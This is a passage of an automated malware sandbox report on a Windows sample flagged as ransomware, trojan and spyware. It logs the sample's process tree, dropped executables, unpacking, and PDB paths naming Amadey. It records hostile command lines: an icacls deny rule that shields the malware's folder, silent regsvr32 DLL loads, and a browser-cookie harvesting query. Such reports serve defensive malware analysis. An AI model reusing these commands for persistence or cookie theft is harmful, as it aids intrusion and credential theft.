Source: 43AA.dll.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 9E07.dll.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\uehwfht

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@74/39@140/22

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 6_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

6_2_00411900

Source: file.exe	ReversingLabs: Detection: 42%
Source: file.exe	Virustotal: Detection: 39%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\uehwfht C:\Users\user\AppData\Roaming\uehwfht
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D5C1.exe C:\Users\user\AppData\Local\Temp\D5C1.exe
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Process created: C:\Users\user\AppData\Local\Temp\D5C1.exe C:\Users\user\AppData\Local\Temp\D5C1.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4FC4.exe C:\Users\user\AppData\Local\Temp\4FC4.exe
Source: C:\Users\user\AppData\Local\Temp\4FC4.exe	Process created: C:\Users\user\AppData\Local\Temp\4FC4.exe C:\Users\user\AppData\Local\Temp\4FC4.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4149.exe C:\Users\user\AppData\Local\Temp\4149.exe
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Process created: C:\Users\user\AppData\Local\Temp\4149.exe C:\Users\user\AppData\Local\Temp\4149.exe
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: unknown	Process created: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe --Task
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Process created: C:\Users\user\AppData\Local\Temp\4149.exe "C:\Users\user\AppData\Local\Temp\4149.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B666.exe C:\Users\user\AppData\Local\Temp\B666.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2355.exe C:\Users\user\AppData\Local\Temp\2355.exe
Source: C:\Users\user\AppData\Local\Temp\B666.exe	Process created: C:\Users\user\AppData\Local\Temp\B666.exe C:\Users\user\AppData\Local\Temp\B666.exe
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Process created: C:\Users\user\AppData\Local\Temp\4149.exe "C:\Users\user\AppData\Local\Temp\4149.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\89DB.exe C:\Users\user\AppData\Local\Temp\89DB.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe" --AutoStart
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F0EE.exe C:\Users\user\AppData\Local\Temp\F0EE.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5542.exe C:\Users\user\AppData\Local\Temp\5542.exe
Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	Process created: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe" --AutoStart
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\43AA.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\43AA.dll
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process created: C:\Users\user\AppData\Local\Temp\aafg31.exe "C:\Users\user\AppData\Local\Temp\aafg31.exe"
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process created: C:\Users\user\AppData\Local\Temp\oldplayer.exe "C:\Users\user\AppData\Local\Temp\oldplayer.exe"
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process created: C:\Users\user\AppData\Local\Temp\XandETC.exe "C:\Users\user\AppData\Local\Temp\XandETC.exe"
Source: C:\Users\user\AppData\Local\Temp\5542.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1784 -s 524
Source: C:\Users\user\AppData\Local\Temp\oldplayer.exe	Process created: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe "C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B03B.exe C:\Users\user\AppData\Local\Temp\B03B.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\9E07.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\9E07.dll
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\89B0.exe C:\Users\user\AppData\Local\Temp\89B0.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D5C1.exe C:\Users\user\AppData\Local\Temp\D5C1.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4FC4.exe C:\Users\user\AppData\Local\Temp\4FC4.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4149.exe C:\Users\user\AppData\Local\Temp\4149.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B666.exe C:\Users\user\AppData\Local\Temp\B666.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2355.exe C:\Users\user\AppData\Local\Temp\2355.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\89DB.exe C:\Users\user\AppData\Local\Temp\89DB.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe" --AutoStart	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F0EE.exe C:\Users\user\AppData\Local\Temp\F0EE.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5542.exe C:\Users\user\AppData\Local\Temp\5542.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\43AA.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B03B.exe C:\Users\user\AppData\Local\Temp\B03B.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\9E07.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\89B0.exe C:\Users\user\AppData\Local\Temp\89B0.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Process created: C:\Users\user\AppData\Local\Temp\D5C1.exe C:\Users\user\AppData\Local\Temp\D5C1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4FC4.exe	Process created: C:\Users\user\AppData\Local\Temp\4FC4.exe C:\Users\user\AppData\Local\Temp\4FC4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Process created: C:\Users\user\AppData\Local\Temp\4149.exe C:\Users\user\AppData\Local\Temp\4149.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Process created: C:\Users\user\AppData\Local\Temp\4149.exe "C:\Users\user\AppData\Local\Temp\4149.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\Temp\B666.exe	Process created: C:\Users\user\AppData\Local\Temp\B666.exe C:\Users\user\AppData\Local\Temp\B666.exe
Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	Process created: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process created: C:\Users\user\AppData\Local\Temp\aafg31.exe "C:\Users\user\AppData\Local\Temp\aafg31.exe"
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process created: C:\Users\user\AppData\Local\Temp\oldplayer.exe "C:\Users\user\AppData\Local\Temp\oldplayer.exe"
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process created: C:\Users\user\AppData\Local\Temp\XandETC.exe "C:\Users\user\AppData\Local\Temp\XandETC.exe"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\43AA.dll
Source: C:\Users\user\AppData\Local\Temp\oldplayer.exe	Process created: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe "C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe"
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\B03B.exe	Process created: unknown unknown
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\9E07.dll
Source: C:\Users\user\AppData\Local\Temp\89B0.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0bf754aa-c967-445c-ab3d-d8fda9bae7ef}\InProcServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\D5C1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 6_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

6_2_0040D240

Source: aafg31.exe, 0000001E.00000002.800159505.0000000002A70000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.798222779.0000000002120000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.799533158.0000000002900000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: aafg31.exe, 0000001E.00000002.800159505.0000000002A70000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.798222779.0000000002120000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.799533158.0000000002900000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: aafg31.exe, 0000001E.00000002.800159505.0000000002A70000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.798222779.0000000002120000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.799533158.0000000002900000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: aafg31.exe, 0000001E.00000003.777298101.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.780487952.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.779253254.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.752311774.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.790085912.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.755965073.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.745531954.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.755680647.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.740290279.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.742461455.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.769779048.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;
Source: aafg31.exe, 0000001E.00000003.790085912.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.793969406.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;K
Source: aafg31.exe, 0000001E.00000003.752311774.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.745531954.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.740290279.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.742461455.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;86VK9
Source: aafg31.exe, 0000001E.00000003.740290279.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.742461455.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;:/
Source: aafg31.exe, 0000001E.00000002.800159505.0000000002A70000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.798222779.0000000002120000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.799533158.0000000002900000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: aafg31.exe, 0000001E.00000002.800159505.0000000002A70000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.798222779.0000000002120000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.799533158.0000000002900000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: aafg31.exe, 0000001E.00000002.800159505.0000000002A70000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.798222779.0000000002120000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.799533158.0000000002900000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: aafg31.exe, 0000001E.00000002.800159505.0000000002A70000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.798222779.0000000002120000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.799533158.0000000002900000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: C:\Users\user\AppData\Local\Temp\2355.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0263FC8C CreateToolhelp32Snapshot,Module32First,

0_2_0263FC8C

Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Mutant created: \Sessions\1\BaseNamedObjects\07c6bc37dc50874878dcb010336ed906
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1784

Source: D5C1.exe	String found in binary or memory: set-addPolicy
Source: D5C1.exe	String found in binary or memory: id-cmc-addExtensions
Source: D5C1.exe	String found in binary or memory: set-addPolicy
Source: D5C1.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4FC4.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4FC4.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4149.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4149.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B666.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\B666.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\4149.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\4149.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\2355.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: D5C1.exe, D5C1.exe, 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4FC4.exe, 00000007.00000002.631952824.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, 4FC4.exe, 00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4149.exe, 00000009.00000002.637137314.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, 4149.exe, 0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4149.exe, 0000000D.00000002.757206210.0000000004280000.00000040.00001000.00020000.00000000.sdmp, 4149.exe, 00000011.00000002.660447240.0000000004110000.00000040.00001000.00020000.00000000.sdmp, B666.exe, 00000012.00000002.664889284.0000000004100000.00000040.00001000.00020000.00000000.sdmp, B666.exe, 00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4149.exe, 00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4149.exe, 00000017.00000002.677830115.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, 4149.exe, 0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdbeex.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: explorer.exe, 00000003.00000000.563447432.00007FF883751000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdb source: explorer.exe, 00000003.00000000.563447432.00007FF883751000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb source: oldplayer.exe, 00000020.00000002.673912242.0000000000EC7000.00000002.00000001.01000000.00000016.sdmp, oldplayer.exe, 00000020.00000000.668545068.0000000000EC7000.00000002.00000001.01000000.00000016.sdmp, oneetx.exe, 00000023.00000002.797955207.00000000003F7000.00000002.00000001.01000000.0000001B.sdmp, oneetx.exe, 00000023.00000000.673595320.00000000003F7000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: wksprt.pdbH source: aafg31.exe, 0000001E.00000000.667188766.00007FF6F89A1000.00000020.00000001.01000000.00000015.sdmp, aafg31.exe, 0000001E.00000002.808397690.00007FF6F89A1000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: _.pdb source: 2355.exe, 00000013.00000002.800068584.0000000004171000.00000004.00000020.00020000.00000000.sdmp, 2355.exe, 00000013.00000002.799971292.0000000004100000.00000004.08000000.00040000.00000000.sdmp, 2355.exe, 00000013.00000002.808719162.0000000005485000.00000004.00000800.00020000.00000000.sdmp, 2355.exe, 00000013.00000003.654649446.00000000024D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wksprt.pdb source: aafg31.exe, 0000001E.00000000.667188766.00007FF6F89A1000.00000020.00000001.01000000.00000015.sdmp, aafg31.exe, 0000001E.00000002.808397690.00007FF6F89A1000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: D5C1.exe, 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, D5C1.exe, 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4FC4.exe, 00000007.00000002.631952824.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, 4FC4.exe, 00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4149.exe, 00000009.00000002.637137314.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, 4149.exe, 0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4149.exe, 0000000D.00000002.757206210.0000000004280000.00000040.00001000.00020000.00000000.sdmp, 4149.exe, 00000011.00000002.660447240.0000000004110000.00000040.00001000.00020000.00000000.sdmp, B666.exe, 00000012.00000002.664889284.0000000004100000.00000040.00001000.00020000.00000000.sdmp, B666.exe, 00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4149.exe, 00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4149.exe, 00000017.00000002.677830115.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, 4149.exe, 0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: eex.pdb source: explorer.exe, 00000003.00000000.563447432.00007FF883751000.00000020.00000001.01000000.00000007.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Unpacked PE file: 6.2.D5C1.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\4FC4.exe	Unpacked PE file: 8.2.4FC4.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Unpacked PE file: 10.2.4149.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Unpacked PE file: 19.2.2355.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\B666.exe	Unpacked PE file: 20.2.B666.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Unpacked PE file: 21.2.4149.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	Unpacked PE file: 26.2.4149.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\uehwfht	Unpacked PE file: 4.2.uehwfht.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Unpacked PE file: 6.2.D5C1.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\4FC4.exe	Unpacked PE file: 8.2.4FC4.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
